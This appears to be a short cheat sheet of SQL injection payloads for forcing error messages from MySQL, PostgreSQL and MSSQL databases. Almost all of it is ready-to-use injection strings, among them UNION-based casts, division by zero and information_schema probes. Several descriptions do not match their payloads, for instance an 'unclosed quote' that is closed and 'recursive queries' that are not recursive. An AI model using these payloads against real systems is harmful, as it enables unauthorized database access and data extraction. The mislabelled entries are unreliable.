⁉️Techniques to Force Errors from Databases for SQL Injection
Forcing errors in databases can help reveal valuable information about the underlying SQL queries, database structure, and sometimes even the data itself. Here are some advanced techniques to force errors from various databases:
1. Syntax Errors
Classic Syntax Error
Introduce a deliberate syntax error to elicit an error message.
' OR 1=1; --
Unclosed Quotes
Leave a quote unclosed to generate an error.
' OR 'a'='a
2. Type Conversion Errors
Invalid Type Casting
Cast a string to an integer to cause a type conversion error.
' UNION SELECT CAST('abc' AS SIGNED) --
3. Function-Based Errors
Division by Zero
Force a division by zero error.
' UNION SELECT 1/0 --
Invalid Function Usage
Use a function incorrectly to trigger an error.
' UNION SELECT EXP('abc') --
4. Subquery Errors
Invalid Subquery
Use a subquery in a way that causes an error.
' UNION SELECT (SELECT COUNT(*) FROM (SELECT 1 UNION SELECT 2) AS temp) --
5. Database-Specific Errors
MySQL Errors
Use invalid queries to trigger MySQL-specific errors.
' UNION SELECT GTID_SUBSET('abc', 'def') --
PostgreSQL Errors
Use invalid operations to cause PostgreSQL errors.
' UNION SELECT TO_NUMBER('abc', '999') --
MSSQL Errors
Use MSSQL-specific functions incorrectly to trigger errors.
' UNION SELECT CONVERT(INT, 'abc') --
6. Information Schema Queries
Invalid Table Name
Query the information schema with an invalid table name.
' UNION SELECT table_name FROM information_schema.tables WHERE table_name = 'non_existent_table' --
7. Blind SQL Injection Errors
Deliberate False Condition
Use a false condition to force an error indirectly.
' AND 1=(SELECT COUNT(*) FROM information_schema.tables WHERE table_schema='non_existent_database') --
8. Advanced Error Techniques
Recursive Queries
Use recursive queries to force errors.
' UNION SELECT 1 FROM (SELECT 1 UNION SELECT 2 UNION SELECT 3 UNION SELECT 4) AS temp WHERE temp=1 --
Invalid Hexadecimal Values
Use invalid hexadecimal values to trigger errors.
' UNION SELECT 0xZZ --
9. Combining Techniques
Chained Error Forcing
Combine multiple error-forcing techniques for more robust results.
' UNION SELECT CONVERT(INT, 'abc') UNION SELECT 1/0 UNION SELECT TO_NUMBER('abc', '999') --
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